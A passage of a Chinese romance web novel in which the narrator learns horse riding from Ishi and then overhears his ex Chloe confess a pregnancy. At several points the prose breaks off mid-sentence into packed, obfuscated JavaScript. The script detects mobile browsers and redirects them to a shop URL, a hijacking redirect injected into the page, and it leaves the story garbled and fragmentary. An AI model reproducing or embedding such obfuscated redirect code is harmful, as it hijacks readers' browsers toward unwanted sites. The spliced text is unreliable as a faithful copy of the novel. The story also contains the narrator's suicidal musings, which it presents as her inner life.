伊实翻身下床,把他的灰色法兰绒睡衣抛给我,裤子部分在他那里。上衣足够宽大,贴身也足够舒适,不过我还是喜欢关键时刻救过命的秋衣秋裤。 我四处寻找拖鞋,一路回溯到浴室才如愿以偿,然后去厨房看他在搞什么明堂。烧水壶不停冒热气,他在灶台前守着,一边拨开两颗药片就水喝下,看到这一幕我才想起昨晚没来得及发挥价值的套在哪儿。他真买了吗?产生了这样的疑问。不会是嘴上跑火车来掩盖他脆弱得竟然需要吃药的事情吧?他生了什么病? 我走上前求证,冤枉他了。烧水壶发出尖锐的爆鸣。 伊实关火,从柜子里取出一大包麦片,没有配方全凭缘分地倒入碗中,用勺子搅出两份湿垃圾。 “久等了吧kiddo?来吃吧。”他竟然还说得那样奢侈。 我嚼着干面包心里止不住指点江山,为什么不用这些食材去盖房子,狗窝也行啊。幸亏我早就优胜劣汰掉了哭哭啼啼的基因。 我将干面包撕成小片丢进麦片里软化,再用叉子戳着吃。“布鲁克怎么没消息了?”我问。 伊实冷笑一声:“我才该问呢,你和他关系那么好干嘛?他说如果你今天醒来还愿意和他交好,就回个电话。” 不得不承认,布鲁克把我带进一个陌生的环境却自己走掉的确让我感到生气,尤其被伊实抓包时叫天天不应叫地地不灵差点一命呜呼。但结果没有我想象的糟糕,甚至可以说酥爽。布鲁克至少还惦记着有这么一个风往哪边吹就往哪边倒的小女孩儿便足以令人欣慰了。 “好,你的手机在哪儿?”我说。 “西伯利亚。” “?” 伊实挑了挑眉,“What?它也可以在北冰洋。” “……” 他专横跋扈地耸耸肩:“是的,我替你单方面回绝了。” 夹在两个爱擅自做主的角色之间,稍微乐观点想,我什么责任都不用担也挺好,话筒杵到嘴边能舔一口解释本人只是个冰淇淋外行企业家,你们要问什么我都有权保持沉默。 吃完早饭我自然而然地要去换衣服,走两步突然意识到我压根连日程安排都没有,这种敬业精神也完全可以拿走盖狗窝,没必要。 “伊实!”我猛地转身,睡衣像裙摆一般飘起又落下,“你真的没工作吗?今天礼拜几?” “礼拜一。”他说,“你的语气听上去像是没有工作天都要塌下来。” “我只是问问。” “只是问问天都要塌下来。” 我坐进沙发,双手抱膝,窗外堪堪露出一点阳光。伊实提来一箱工具,对着一个储物架骂不知好歹,它发出咿咿呀呀的痛叫,好像在说:我从未想过终身站岗,饶了我吧,饶了我吧。 储物架被修好,我插嘴又问:“布鲁克曾经给你找的差事是什么?” 伊实站起身揉了揉肩膀,说:“什么都有。” “比如?” 他走过来,手里还拿着一把螺丝刀,“Why?对我这么好奇?” 我提醒他做事要有始有终,别带着一把螺丝刀在这么漂亮的房间里乱逛。他点点头,竟然给出一条投机取巧歪打正着的论据:“It''sallyoursmell.” “……”话又说回来,我承认道:“我对你很好奇,所以,请你大发善心透露一两件。” 伊实轻笑,抬起胳膊搭在储物架上,语气吊儿郎当:“你骑过马吗?” “马?” “对,马。” “我一般开车。” “那就是没有,回答没有。” “没有。” “Well,”伊实甩甩手,“我教人骑马,这就是我的工作。”一束鄙夷的目光悄无声息,他补充道:“有时候也是高尔夫。” 也许是我敷衍的“哇哦”刺痛了他的耳朵,他挺直腰板神色认真:“干嘛?不信?” “不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13572869|142981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我信,但是想象力不够丰富。” 他用螺丝刀头指着我,命令道:“换上大衣,十分钟之后出发。塞点棉花在屁股里,别说我没提醒你。” “……” 今天是个好天气,好到让人想起太阳一直都不是独居恒星,它偶尔还是会升起来看看观景鱼,看看蚂蚁搬家,看看动物骑动物什么的。 我第一次穿马术服,仿佛有人拿绳子沿着我的轮廓严丝合缝地围出一块禁地,我不得不绷得笔直。我跟在伊实和马场管理员的后面,走过由马臭味熏染的草道,左右两边色彩朴素但格外令人两眼昏花的马儿不时发出引擎声——形容它们的叫声不是件容易事,除了发出雄赳赳气昂昂的马叫声以外,它们两只鼻孔出气和嚼空气的声音更加令人费解,马蹄铁的声响倒是较为悦耳,将军携长缨前来赴战的即视感。 伊实挑了匹棕马,毛发旺盛且根部泛黄,刘海看起来很碍事,四条腿像穿了一层白色短袜,在其他英俊马的照耀下,就算它尽其所能地靠近潮流也还是显得平平无奇。在此辩解一下,我并非在以貌取马,只是它的刘海着实给了我强烈的视觉冲击。 伊实叫它沃斯特,他们是好几年的老朋友了,他亲切地爱抚它的脖子,喂它吃干草,替它梳理毛发,装上马鞍和缰绳,声情并茂地引领它去场地。我心里不免犯怵,该和它搞好关系的人应该是我才对,但伊实到现在都没有让我们面对面相互自我介绍的意思。 伊实单手一撑骑上马,一边兜圈子一边冲圈外的我叫嚷:“两只眼睛盯紧了,觉得精彩就扔几张纸币在地上,没错,老子以前就是这么热热闹闹地挣钱!” 他轻车熟路地拉绳俯身,和沃斯特配合得无比默契,几乎融为一体,跨越一个个障碍栏。我一时间沉迷于他的美色以至于对沃斯特也产生了爱屋及乌的滤镜,刘海迎风招展别有一番风味。 我懒洋洋地鼓掌,又嫌仅仅是鼓掌太过于寒酸,双手摆在嘴边大声喊道:“一百万美元成不成交——” 沃斯特有节奏地踩着小步子走到我面前,伊实用一张高兴脸俯视着我,说:“亲爱的,它起码值两百万,入股不亏。” “我指的是你,勇猛先生。” 他一顿,眯了眯眼睛:“我大费周章带你来这是为了让你跟我调情,uh-huh?” 难道不是吗?恭维得不够诚恳? 伊实似乎读出了我的肌肉表情,跨开一条腿下马,叩了叩我头上的安全头盔,说:“到你了。” 我坚决地摇头,一缓再缓,争取心理准备的时间:“我从没……” “嘘——你准备好了。”他打断了我的说辞,随后突然伺候了一下我的臀.部,让我本就僵直的身体瞬间炸毛。说真的,沃斯特才是该被抽屁.股的那个,但它却没有。而我应该被按住肩膀听些加油打气的鼓励,却被拍了屁.股。 不如让沃斯特骑我好了,我高中运动会女子跳高项目拿过铜牌,会背越式,还知道怎么安慰狂热的精英们心急吃不了热豆腐不要赶鸭子上架。 “如果我受伤了,尤其是那种不致死但足以让人不痛快的伤,你一定要负责任。”我警告道。 伊实笑得很有侵略性,举手向我保证。 "Countonme." 20. 第 20 章 我曾以为两米高的视角是货真价实的比秋天寒冷,亲临其境之后感觉到的竟是一种开阔和胆大妄为。差点天旋地转,我猛然意识到胯.下之物不似摩托铁甲那样坚硬冷血,而是真真切切的有温度、有感触。 这种感觉很奇妙,我和地面的距离很遥远,无法通过伸长脚尖抵达,方向权不在我手上,如此一来人类的双脚彻底派不上用场,由什么代替呢?竟然由一个拥有四条修长有劲的马腿,外加温暖厚实的鬃毛,呼吸频率整齐的另一个生物代替。 我无意冒犯,但是,沃斯特,我没有勇气说和我的双腿比起来,你与我更有默契。 “然后呢?然后我该怎么做!”我牵着缰绳不知所措。 伊实招呼了一下我的大腿肌肉群,说:“放松,别那么紧绷。” “哦说得轻巧,你又没骑过恐龙。” 伊实指挥沃斯特起步,我顿时悬起一颗心,陷入下半.身无人照料的窘迫。我顺着缰绳将视线移过去,发现那头连着马的口腔,故而更不敢用力拉紧,在我的眼里,我和它早已人马合一,共用一条命了。 “抓住平衡了吗?就当是骑自行车,乖孩子。”伊实走在我们身侧,是我的编外方向盘。 我逐渐习惯马的步频,能体会到我在信赖它的同时也在受它信赖。我们是好朋友了沃斯特! “OK……OK,I’mgood.Igotit.”我安抚道。 伊实夸了我几句,随后拍了拍马屁股,沃斯特立即快步走起来,我好不容易找到的平衡毁于一旦。更可怕的是,伊实离我越来越远,仅靠一根牵引绳和轻飘飘的口头指导与我联系。 “移动你的胯,接受它的节奏,别怕,它不会伤害你,我和它打过招呼。”伊实隔空喊话,声音兴致盎然,“认真起来穆里斯,你能搞定!” “脚放松,脸也放松,注意力放在起伏上,想象你是泰坦尼克号的幸存者,坐在一块木板上遭遇风浪,你得活下来不是吗? “对极了,就是这样,你做的很好!” 我长呼一口气,抬眼寻找教练的位置,他正悠哉悠哉地遛狗——我和沃斯特是狗。伊实笑得十分混蛋,但他夸我在马术上有天赋,暂且理解为他笑得如沐春风。 感谢老天爷为我关上门打开窗,大脑出现了病变但小脑的才能并未受到影响,我绕半个场地骑了三周,基本掌握了要领。虽做不到像伊实那样驰骋疆场,但已经能够很好地适应四条马腿,没有额外的排斥反应。 “它需要休息。”我说,慢慢缩小沃斯特绕圈的范围,向伊实所在的中心靠拢。 “它体能好得很,是你需要休息。”伊实戳穿我。 “是的,我需要休息,怎么停下来呢?”我仍旧不敢用力扯缰绳。 伊实替我扯停,看出了我的手软,告诉我不扯也是一种虐待。“它不懂你,也没有办法和你沟通,你什么都不做,它什么都不能做,到最后你只有一种下马的方式,那就是摔死。” 我心里一激灵,心想那可不爽快,如此狂躁的死法会让我咽气前最后一眼看到的是一片马屁股。 “我明白了,现在的问题是,我怎么下去?”我问。 伊实扭了扭脖子:“试试它跑起来的感觉怎么样?” “摔死我还用得着这么大费周章吗?” “继续教唆,我保证如你所愿。”伊实让我抬起屁.股,然后换了一个更大的马鞍垫子,“趴好,抱住它的脖子。” 我照做,脸蛋几乎贴上沃斯特的鬃毛,它的头发比我想象的蓬松。伊实踩着马镫一举骑上来,我和沃斯特一起晃动,身后多了一堵墙,我可以大放厥词地称其为靠山。 我直起身子,后背紧紧贴在他的胸口,说:“我知道你要做什么,你知道我要做什么吗?” “What?”伊实脱口而出,“踢我一脚?” “沃斯特踢过你?” “它没有,你不一定。” 我撇撇嘴:“你猜对了,所以多多照顾一下我的心情。” 伊实发出两声邪恶的哼笑,大喊道:“你会爽到爆!”随后沃斯特便像打了鸡血一样狂奔起来,它找到了真正的主人,而我找到了马场真正的风。 我曾坐在过山车里面不改色地兜风,也曾在台风来临时趴在路口捡试卷,远远不及此时骑着马,绕一个普通操场那样大的马场狂奔,这样亲切地和风交流。 我的眼睛借的别人的眼睛,我的手臂借的别人的手臂,我快要不是我了,而是惊涛骇浪中被升起的船帆,波涛顺着脊柱往上爬,灌进我的喉咙里。 伊实说对了!爽到爆了! 那些在我安全区以外的事物,嘶哑着喉咙说要杀死我的东西,竟是如此轻而易举! “伊实!伊实!我好厉害!”我兴奋地大叫。 “是吗——可别上瘾!” 伊实笑声响亮,抽得更凶,我有点hold不住,呼吸急促,但不得不承认:“已经上瘾了!” 胸口萦绕着一股若有似无的酥麻,渗到胃部,扑朔迷离,痒得令人止不住发笑。“像有一千只蝴蝶在胃里飞”,大概就是这种感觉。 我不断受失重感的洗礼,直到我双脚落地,手拿干草给沃斯特喂食,摸它的鬃毛,我依然没能从欢快的余温中回过神来,这简直是一场毫无悬念的大规模文化入侵。 “伊实,”我有些尴尬地问:“这里痛是正常的吗?”手指颤颤巍巍地指了指大腿内侧。 “正常,初学者通常不适应那样长时间的颠簸。但是……”他故意顿了顿,“你应该不能怪它吧?” “……你我都忘记了。” “不,我记得,不然就带你去打高尔夫了。” “……” 沃斯特饱餐一顿后被管理员牵走,它要去和另一位初学者打交道了,我们的缘分随着它歪斜的马蹄声渐行渐远。我纯属以五十步笑百步,我的脚步声又好听到哪里去呢。 返程的路上,我对伊实说:“你的工作真滋润。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13572870|142981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >伊实单手握方向盘,另一只搭在车窗上,难得天气清爽动人,他巧妙地倚仗了这股波光粼粼的海风。 “偶尔碰见一些不开窍的学员,我也会故意让他们踩到马屎。”他轻描淡写地说。 我乐了,但还是呛道:“别那样做。” “行了,你呢?你之前做什么?”伊实问。 我想了想词汇,说:“Teacher,translator,copywriter,salesperson,babysitter,mytwolittlebrothers’smother,andsoon.” 就这些甚至还不够全面,为了生计我做过许多工作,什么我都会去做的,只要符合某种期待,什么我都能做。从我在社会和家庭的原始地位出发,只有顺从和投机取巧才能让我少吃点苦头。慢慢地,我总结出规律,他们不见得多么需要精英,况且对精英的定义根本是霸王条款,你可以在高级会议的记录纸上涂鸦,但不能在作业本上圈关键词,求生体系被某些人搞得让人站不住脚,我就是个痉挛的好例子,从急救担架上摔下来悄悄爬走。 “让我想想……”伊实的手指头轻轻敲点方向盘,追问:“大学呢?” “经济管理。”我回答。 伊实一副果然如此的表情:“大学那种地方一生去一次就够了。” “你说的不是一年去一次吧?”我鄙夷地反问。 “小瞧我了,我一个月去一次。” “多少年前的事情了?你还记得?”我瞧他老成硬朗看不出一点school风韵的脸,想他上大学应该是非常久远的事了,既然他上过大学的话。 “当然记得,高中我也记得,我的棒球进过校长办公室。”伊实不以为耻反以为荣,擅长压碎所谓的脏事,然而下一句话锋一转:“不过我有一颗牙也是在那碎的。” 我惊讶:“还有你打不过的人?” 伊实难得懊恼,咂了咂嘴:“十八岁以前我他妈的没想过还能还手。” “你爸?” “是啊,他实则弱不经风。” 我突然感到一阵委屈,撇过脸用中文小声嘟囔:“谁不想还手……” “你说什么?”伊实问。 我努起嘴,闭口不言。 “嘿,看窗外。” 我随着他的话语转过头。天空的云向两边散开,又于远处相遇,而奄奄一息的太阳就挂在它们相遇的位置,使得无论是水面还是雪地,还是人们的侧脸,都成了一面撒着光泽的扇子。 下午一点钟太阳就要落山了吗?早早地到别处去,是在忌惮什么吗? 当夕阳的温度透过我的睫毛到达我的眼球,到达我来这以后总是木讷的鼻头,到达我干裂的嘴唇,我才深深地感到抱歉。 即便是即将退场的太阳,它也是所有云朵视为畏途的东西。 “好美呢。”我感叹道。 “是的,那天暴风雪以后,时常有好天气。” 21. 第 21 章 草莓在口腔里融化,汁水刺激牙根让我哭笑不得,它没成熟到令所有消费者满意的程度,但已经学会了在外表上做足伪装。 我趴在沙发上看电视,即便我完全听不懂里面的人物在说些什么。伊实在外头清雪,嘱咐我在他进门前做好晚饭,再从橱柜里随机挑一款酒,哪瓶都行,唯一的警告是千万别恩将仇报,将不同酒胡乱兑在一起,他在酒的品味上很挑剔。 土豆牛肉炖在锅里,还有一荤一素已经上桌,我的时间很充裕,这才有了和草莓你侬我侬的余地。 在这呆的越久,我越觉得自己离公园中央的喷水雕像更近了一步,看似永远做着同一份工作,其实无比接近自由职业者的真谛——我是说,把尿撒在过路人的头顶。 当然,那可不是明目张胆就能被许可的事。 伊实回来了,在门口抖了抖鞋上的雪,听见电视的声音,张口就是嘲笑:“找不到儿童频道了吗?” “我只想有人给我说说话。”我解释道。 他一层一层脱下防寒衣物,用掌心搓了搓鼻尖和耳朵,迅速回暖。我早就注意到了,他的比热容似乎比常人高出一筹,前有徒手端热锅,后有雪天穿短袖出门丢垃圾,从冷水淋浴房里出来体温也还是滚烫的。一旦遇见真正的天赋,我连天注定的基因学都要恨之入骨。 吃过晚饭,我们谁也没去洗脏碟子,它们有自己的前途,比如等伊实喝完酒,放下玻璃杯,再顺便把它们给清理干净。他很喜欢干诸如“顺便”的事,有沙发不坐,坐在地毯上,扯下毛毯的同时顺便握住我的小腿把我从沙发上拽下去。 “你有时候很喜欢显摆自己的体型。”我抱膝窝在他的怀里,瓮声翁气地说,听起来未免有点得了便宜还卖乖。 伊实的双臂如铁坚硬,出于好奇我想用拳头邦邦敲上两下,但出于多一事不如少一事我只是瞥了一眼。 “这就不需要你操心了LittleKitten。”他轻挑地回应我。 电视机依旧停留在一个频道,负责在我们都不说话的时候活络气氛。伊实心安理得地把我当成了酒桌子,威士忌杯搁在我的肩头,往里头加樱桃,用我的耳朵。 我身体向前倾,无论是酒杯还是他的吻都没有着落。茶几上的小说被我拿了过来,三番五次地,我又问道:“这到底是什么书?” “一本旧书。”他的回答还是那么模棱两可。 “你该庆幸我不会俄语。” 他扬起笑:“你连英语都不怎么样。” “不对,你昨天还说我英语很好。” “这就是为什么昨天要用过去式的原因。” “……”我把书的封面贴到他脸上,威胁道:“告不告诉我?” 他呷了口酒,貌似在做巨大的心理准备,慢悠悠地从我手中抽出书,慢悠悠地翻。 “一本很无聊的旧书,被我从祖母的老家里带出来,先是在阁楼躺了几年,后来书皮被Timmy吃进肚子里。”他用手指着单词将标题念给我听,随后再翻译成英文,“《CrimeandPunishment》,听说过吗?写这本书的人足够有名,虽然我不理解为什么,但事实上他的确很有名,有着一堆读不懂他的书却乐此不疲收藏他的书的读者。” 有什么东西在我脑海里一闪而过,我冒昧地说:“那不就是你吗?” 他眼角一皱,“我这么说了吗?” “差一点,但你的自尊心及时阻止了。”我揶揄地看着他。 他用力强吻下来,好一会儿才松口,温热的气息喷在我的脸上,“下次我会早点阻止你。” 我止不住笑意,转过头去藏掖。摊开书页里最新的折痕,它真的很旧了,纸张粗糙得像沙砾。 “你看到哪儿了?拉斯科尔尼科夫杀了第一个人没有?”我说。 伊实意外:“你读过?” “和你一样。”我说得恬不知耻,所以我才觉得那样有趣,天涯海角的两个人都败在陀思妥耶夫斯基的脚下。 “还没,这家伙一直在和空气周旋。”他装模作样地打了呵气。 “嘿,杀人总要做心理准备的!”我说。 “可是杀人的结果又不会变,小说都已经写完了,出版商也给了他几十万字的稿费。” 知晓他的阅读进度比我还慢,我于是提议道:“不如我们看电影吧,比看书来的快,还少去了心理准备。” 伊实恍然大悟,显然没考虑过这条途径。他在电视里搜索,边对我说:“只有俄语版,没有字幕,看来有人不受欢迎。” 我说:“那你翻译给我听。” “我连西语作业都不写,你指望我对这份工作能有多少热情?”他虽然嘴上这么说,但还是点开了电影。 电影和书一样老旧,像是也在阁楼里吃了十年灰那样沧桑。的确有十多年了,经典咏流传,被一时兴起的世人翻出来咀嚼,在一栋清寂的木屋里缓缓漂流。 只有在好笑的部分伊实才翻译给我听,所谓好笑的部分,指的是被他抓住了槽点,并且有助于他急不可耐地迫害作品风评的画面。于此我十分矛盾地一半赞同一半否认,苦难不止一种,人格也不止一种,结局取决于人格而非苦难。如果电影是我,观影者是拉斯科尔尼科夫,最后得到的结果会不一样。 “我也想过杀人。”我突兀地说,“最后发现自己是最好执行的那一个。” “错了,”伊实说,“人的生命根本带不走那么多东西,谁死了都没辙。” “如果说成逃避呢?不闻不问总行了吧?”我抱住他的胳膊,头枕在他的肩膀上,像倚仗一颗千年老树,“比起杀那么多人,自己死了才是真的一了百了,更不用动脑筋。” “挺好的,从此人类就灭绝了。”伊实锐评道。 “你不觉得吗?不觉得我很聪明吗?”我不依不挠地追问,也是第一次就死亡这件事来说,我想得到某人的认可。 伊实看了看我,又抬起头看屏幕,说:“聪明,如果你能数出来有多少人受此牵连的话,就更聪明了。” “受此牵连?谁会受此牵连?我的存在很重要吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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「我爱你,你必须知道,我爱你,回来吧,please」 “……”我一下子清醒过来,久违地生出给人当情妇的难堪。 身旁的男人正在熟睡,眉眼松弛,嘴角平稳,胸膛有规律的起伏,沉重的右手搭在我的腰间,像在领土上插起的旗帜。他成了一块蜡,燃烧后流下的油全堆在了脚底心。而我借他的火煮开了心里的干冰,冒出来的气体竟然使我无法呼吸。 我重新闭上眼睛,当然,用什么方法都无法睡上一个回笼觉了,只能无限靠近,感受那股奇迹般能与我共振的心跳声,是那样令人心安,令人不知餍足。 “可惜”的情绪逐渐在心中疏淡,我悄悄发誓绝不参与这场纷争,绝不成为任何人的选项,因为我没有底气。唯一的勇气是我想好了一了百了,然后毫无后顾之忧地趴在陨石坑里,让辐射侵蚀皮肤,告诉他们我钟爱这份温暖。 怦怦,怦怦…… 两颗心脏的跳动声震耳欲聋。 我侧过身子面向他,弄出了一丝动静,伊实有所反应,半梦半醒似的抬起胳膊,卷起我的肩膀,将我塞进他的怀里,更贴切地说,塞进他的肋骨里。他抚摸我后面的头发,向下捋到后背。 我听到一句沙哑幽暗的呢喃,可我不懂俄语。 “穆里斯,穆里斯,别跑。” 22. 第 22 章 “你读过短信了,是吗?” 在不知道第几回发现我心不在焉,并且频频望着玄关出神的时候,伊实终于斩钉截铁地确认了心中猜想。 他固执地将我抱在怀里,像飞蛾迷恋烈火一样固执,使我除了沙发后面的那堵墙,再也看不了其他景色,包括他的脸。 “你在想什么?跟我说说?”他问。 我的脖子完美地卡在他的肩头,沉吟了一会儿,说:“在想她什么时候来。” 毕竟短信里只提到下午,没说清楚几点,如此还希望被接机,她的资本想必相当雄厚。 “来了又能怎样?”伊实从我的两只胳膊下穿出手,在我背后打开笔记本电脑。 “你们什么时候分手的?”我问。 “大概两年前。” “因为什么?” “你不是知道吗?” “早在你们分手前,你就来挪威了不是吗?” 伊实摸了摸我的后脑勺,“有够机灵。” 简单的时间差我掰掰手指还是能算出来。 “布鲁克是挪威人,我想跟着他来这,克洛伊不同意,所以分居了一段时间。” 我轻笑:“怎么不说是你移情别恋了布鲁克?” “U-hn!”他发出错误答案的音效,“否则我该向你打听打听获取中国绿卡的方法。” 我显然还没完全掌握英语逻辑的精髓。 “在意她不如在意在意我,”伊实偏头亲了我一下,“什么时候和我如胶似漆地待上一整天。” 趁他看不见表情,我狠狠地撇嘴,“难道我没有吗?” “我说的是——”伊实往后靠了靠,面对我,从上亲到下,“你的眼睛,你的鼻子,你的嘴巴,它们都不在我身上。” 我愣怔于此,陷进他的亲吻和焦渴的凝视里,像在万头攒动的街头受天意指使的毫无意义的一回头,看到的就是这般凝视。但我没有挪动我的脚步,因为人多的地方,幻象也多。 如果,不是我呢? 我猛地推开伊实,站起身,头晕目眩,步伐凌乱地跑向卧室。他在我身后大喊,我听不清,只愤怒地回道:“脑子里只有浦西的家伙!” “嘿!我亲的是你的脸!” “离我远点!” “在逃跑的人是你!” ?! 关门声好似一击电闪雷鸣,阻绝了这场争吵。我滚进被窝里,粗粗地呼吸,心脏激烈得呼之欲出,两辆高速行驶的跑车正对相撞,交换零件,散架在公路,每个踩上去的行人都有一双鲜血淋漓的脚,都血肉模糊。 我立刻就后悔了,为何大动干戈地说一番气话,偏偏牛头不对马嘴,和愚蠢的掉队企鹅一样朝断裂的冰川乱叫,不会飞不会跳,最后这副蠢模样被摄影机记录下来在全球人类面前反复播放。 我蜷缩成一团,压抑那颗鼓动身体起跳的心脏。门开了,因为我没上锁,过了一会门又关了,因为他也没上锁。 屋内安静得和深绿色的泥潭密处一样,我以为他走了,用尽全力才忍住眼泪和委屈,扒开被子一角,发现他就站在床边。 “到处乱窜可不是什么好习惯。”伊实伸进一只手,我无路可退,被轻松钳制。他横着眉,有股不上不下的怨气,声音冷冷地讥诮:“听着,你怎么认为都行,但别把刀刃对着我,离得远远的更不可能。我是个有责任心的饲养员,带一点变态也情有可原。就这么说好了,我对你的浦西一见钟情,看一眼就爱上了,还有你阴晴不定的牙齿和倔犟的脸,就这么说!” “……”我紧紧闭着嘴巴。 在我无声的对抗下,他颓然败下阵来,闭上眼,睁开时眉头已经散开,“但你要知道,也许你已经知道,一开始我可没打这主意,你做的那些事更不算优美,营养不良和咬了人不松口,都不是锦上添花的地方,但我依旧喜欢。” “……” “如果你执意闹脾气,”我听见他叹了口气,然后松开抓着我的手,“给你买支雪糕如何?” “……”我活动活动手腕,单纯不想讲话,尤其对一个往清汤寡水里撒辣椒粉的混球。我的脑子此刻一团糟,仅仅是冰山一角的降温不足以平息,可有总比没有好。 于是我带着极小声的咕哝从伊实身边走过,“现在就吃。” - 在欢愉最鼎盛的时期我也从未把什么东西归类于“爱”,它在我这儿一直是个医学问题,听闻一句话,是药三分毒,“爱”也一样。倘若将药推举为救命之道,这和爱上令自己痛苦的病根有什么两样?那是比恋痛更加耻辱的行为。 “爱”是出生就长满皱纹的婴儿,我厌恶它,怜悯它,想掐死它,想抱起它,然而新鲜的老肉没有一寸可以下手,它发出啼哭接着手舞足蹈,着实可怕,我一辈子也无法理解。 无法理解,但可以言说和比较。 我爱被风吹得叮当作响的铃铛,小猫比我更爱。我爱掉在地上化成一滩糖水的冰淇淋,小狗比我更爱。我爱富马酸喹硫平,脖子上套着粗粗红绳的敢死队比我更爱。我爱父母,弟弟们比我更爱。我爱小C,有的是人比我更爱。 往水井里丢多大的石头就迸涌多大的水花,总有比我更大的石头。 物尽其用才是明智之举,比如用我这块石头在水井旁边刻八个格子,再上去跳一跳。 我发出三声突兀的咯咯笑,电视里的人和旁边的伊实竟然同时发出疑问:“什么?” “哪段情节好笑吗?” 我摇头,指了指自己:“我好笑。” 伊实古怪地瞥了我一眼,把酒递到我面前——他每晚都要来上一杯,至少一杯——摇了摇里头的冰块,说:“你没在我看不见的地方偷喝吧?” 我骨碌碌翻个身,爬上他的胸口,舔了舔他的嘴唇,嬉皮笑脸地吧唧嘴:“要喝也是光明正大地喝。” 伊实神色一黯,侧过脸喝酒,悻悻嘟囔:“煽风点火的是你,骂人的也是你。” “说慢点,我没听清。”我凑近听。 他抹开我的腰肢,趁我不备掐了一把,我弹射坐起来,当机立断就要还手。不仅掐他肚子上的肉,我还掐胳膊拜拜肉,掐胸口,惹得某人一阵脏话连篇。伊实一只手挡不过来,自然中了我几发子弹。我得逞地大笑,直至酒杯掉落在地面,冰块四处散落,反被欺身而上,才意识到闹过了头。 “继续啊,怎么不继续了,既 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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我想起高三的成人礼(即便那时我才17岁,还是要跟着全年级的人一起成人),学校请家长进校为孩子送祝福,拍集体合影。别的同学的家长有送花的,有送鞋的,有送手机的,我的家长,哦等等,来的甚至不是我的家长,是我爸的好友,一个我从小到大叫“严叔”的男人。 他在备用教室递给我一盒寿司,“你阿姨做的,你从小就爱吃”他说。“谢谢。”我说,可我不爱吃,是弟弟嚷着要吃,我也只能吃这个。他手里还有一个黑袋子,看样子需要一些铺垫才能递过来。 他说:“没想到你这么快就长这么大了,都成人了!我们商量给你什么礼物好,什么礼物符合主题,绞尽脑汁,最后选了这个,你看看!” 他终于把袋子递过来。 我打开一个口,往里面看,黑色是世界上最能吸光的颜色,却吸不住里面那条粉色蕾丝内衣的颜色。 啊。 符合主题是这个意思啊。挺符合主题的。 后来我在卫生间闹了肚子,上吐下泻,成功躲过了集体合影。毕业纪念照里,只有我和校长是被P进去的。 怎么想到了这事儿呢?难道代表我即将涅槃,灵肉分离了吗?可是不得不说,通过回想以前的痛苦,能很好地掩盖眼前的痛苦。 我按了按太阳穴,竖起耳朵听,竟然赶上了门外的开场白。 “伊实,好久不见。” 23. 第 23 章 我像一株爬山虎一样贴在门上,耳朵塞在门缝里,十根手指和十根脚趾全部用起劲,也只能依稀听出几句闷闷的对话。 “我以为我们会在更灰暗的地方重逢呢。”克洛伊说。 “比如凯文的诊室,对吧?用生.殖器给病人看牙是他的独家绝技。”伊实没有感情地说。 “我来正是要和你说这个……”克洛伊的声音渐渐小下去,又渐渐靠近,她绕了过来,想必站在伊实的面前,深情款款地望着他,“那时的我已经怀孕了。” Pregnant?PREGNANT?! 我还没来得及消化这句精彩到世间万物都显得苍白的信息,门外响起了稀稀落落的啜泣声。 “你不能怪我,真的,伊实,你不能怪我。那时的我们太疯狂了,你不在乎能不能喝到第二天晚上的酒,可我在乎!你不管家里的饼干是不是馊的,可我在乎!你不在乎熟人派对上能不能穿上体面的衣服,可我在乎!那些几乎要杀死我!完全把我逼到了绝境……伊实,你太沉浸于自己的世界了你知道吗?你说你要杀了你父亲,我吓坏了,你根本没有想过我的位置,但我没有离开你,伊实,都是因为我爱你。” “……” “是,如果你非要怪的话那就尽情责怪好了,我一时鬼迷心窍,幻想在他身上寻找关于你的温度。你变得冷漠,残酷,无所顾忌,你根本不知道那时的你有多么令人害怕!不,我不会在跟你吵了,我是来解释这一切的。听我说,伊实,那段时间我意外发现自己怀孕了,百分百是你的孩子,这点请你一定要信任我。我本想告诉你,却发觉你处在低谷无法自拔,我该怎么办?我们除了争吵就是争吵,你告诉我,我该怎么办?” 还能怎么办!要我我也选牙医!我在这头垂头丧气,她在那头追悔莫及。 超越空间和想象力的文字加重了我的眩晕程度,我重新躺在了床上,平躺,就是那种方便推进太平间的姿势。我开始思考,回头的人,究竟是在告别,还是在重蹈覆辙。 更为懦弱的是,世人皆知黑洞吸纳万物,可我连看一眼的勇气都没有。为了惩罚我的不诚实和侥幸心,先要让我遭受一遍电闪雷鸣,然后踩过地狱的荆棘,最后才轮到一无所有。 难道我只能没出息地待在这扇门后面,等待不知道时候才会到来的风平浪静吗?雪落在我头上那么我对雪就产生了意义,我和雪都会过期,然而在保鲜期里还担心什么中不中毒碍不碍事的?好了,把袖子整个撸上去,像个身经百战的俘虏一样走出去,就这样。 我渴了,胃凉了,需要喝一杯热水,或许重逢的好事也该落在我头上,咖啡曾不止一次陷害过我,导致我好几年不敢碰它,如今我已经原谅它了,决定就用它代替热水。 